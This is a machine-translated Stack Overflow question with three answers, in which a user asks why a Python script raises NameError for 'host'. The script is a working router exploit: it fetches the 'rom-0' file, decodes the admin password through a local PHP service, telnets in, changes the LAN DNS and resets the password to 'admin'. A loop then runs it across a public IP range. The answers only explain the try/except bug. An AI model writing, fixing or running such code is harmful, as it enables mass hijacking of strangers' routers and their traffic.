NameError:未定义名称“host”

时间:2014-01-24 23:00:32

标签: python

我是python编程的新手。当我尝试运行一个简单的python脚本时,我在终端

中收到这样的错误
root@bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined

我一直在谷歌搜索,但我很难解决我的问题,因为我是这种编程语言的新手。你能帮助我吗? 这是我的脚本:

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)

register_openers()

try:
    os.remove("rom-0")
except:
    pass
try:
    host=str(sys.argv[1])
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")

    datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})

    request = urllib2.Request("http://localhost/decoded.php", datagen, headers)

    str1 = urllib2.urlopen(request).read()
    m = re.search('rows=10>(.*)', str1)
    if m:
        found = m.group(1)   
    tn = telnetlib.Telnet(host, 23, 3)         
    tn.read_until("Password: ") 
    tn.write(found + "\n") 
    tn.write("set lan dhcpdns 8.8.8.8\n")
    tn.write("sys password admin\n")
    print host+" -> Success" 
    tn.write("exit\n")
except:
    print host+" -> Offline!"

我如何修复这样的错误。? 感谢

如果我在try.except之前输入:host = str(sys.argv [1]),则显示如下错误:

追踪(最近一次通话):   文件“code.py”,第17行,in     主机= STR(sys.argv中[1]) IndexError:列表索引超出范围

这是我的意见:

from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
    os.system("python code.py "+str(ip))

3 个答案:

答案 0 :(得分:2)

您的except子句将捕获try块中任何代码行中的任何错误。如果您没有在命令行中指定足够的参数,则行host = str(sys.argv[1])将失败,导致host未分配,这会导致您在尝试print时看到的错误。

您应该从try块中取出大部分代码,并且/或者创建多个try块,以便在更小的代码块中捕获错误。此外,您应该为每个except指定要处理的实际异常类型,而不是尝试处理所有这些类型。 Bare except:会抓住您可能不想抓住的内容,例如KeyboardInterruptSystemExit。如果您必须捕获大多数例外情况,请使用except Exception:而不是except:

答案 1 :(得分:1)

您的脚本似乎需要输入参数

  

主机= STR(sys.argv中[1])

如果没有提供参数,如帖子所示,引发了异常并且在 >定义主机参数之前的子句中被捕获

尝试在try / except块

之前声明host

答案 2 :(得分:-1)

您要在host的第一行定义try/except 我相信错误就在第一行。
要调试此操作,请删除try/except以查看实际错误。